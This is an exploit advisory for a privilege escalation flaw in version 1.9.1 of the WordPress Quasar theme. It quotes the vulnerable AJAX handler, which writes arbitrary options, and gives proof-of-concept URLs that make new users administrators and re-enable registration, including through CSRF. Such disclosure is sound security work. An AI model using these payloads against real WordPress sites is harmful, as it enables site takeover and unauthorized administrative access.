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WordPress Quasar Theme 1.9.1 Privilege Escalation

WordPress Quasar Theme 1.9.1 Privilege Escalation
Posted Feb 2, 2015
Authored by Evex

WordPress Quasar Theme version 1.9.1 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | d3feeaddaaccf2de5db0abe51c1e32c2

WordPress Quasar Theme 1.9.1 Privilege Escalation

Change Mirror Download
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WordPress Quasar Theme Previlege Escalation
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[-] Theme Link:

http://themeforest.net/item/quasar-wordpress-theme-with-animation-builder/6126939?ref=XanderRock


[-] Affected Version:

Version 1.9.1


[-] Vulnerability Description:

The vulnerable code is located in the /rock-builder/rock-builder-ui.php
script:

function rock_builder_save_template(){

$data = $_REQUEST['data'];
$template = $_REQUEST['template'];

$templateName = $template['name'];
$templateDBName = $template['database_name'];
update_option($templateDBName, $data);

$builderReferences = get_option("rock_builder_references",array());

$i = 0;
foreach($builderReferences as $ref){
if($ref['database_name'] == $templateDBName){
$builderReferences[$i]['name'] = $templateName;
update_option("rock_builder_references",$builderReferences);
//echo "FOUND";
break;
}
$i++;
}

exit;
}
add_action("wp_ajax_rockAjax_save_builder_template","rock_builder_save_template");

then function rock_builder_save_template can be called by logged in users
and executed which can lead to modifying wordpress settings and adding a
new administrator which may cause the site a full take over


[-] Proof of Concept:


Accessing The Url below with a logged in user will set the default role of
any new registered user as administrator(if you already had a user)
http://domain.tld/wp-admin/admin-ajax.php?action=rockAjax_save_builder_template&data=administrator&template[database_name]=default_role

Accessing The Url below with a logged in user will allow user registration
if it was disabled
this can be exploited by sending it to a logged in user or administrater
(CSRF)
http://domain.tld/wp-admin/admin-ajax.php?action=rockAjax_save_builder_template&data=1&template[database_name]=users_can_register

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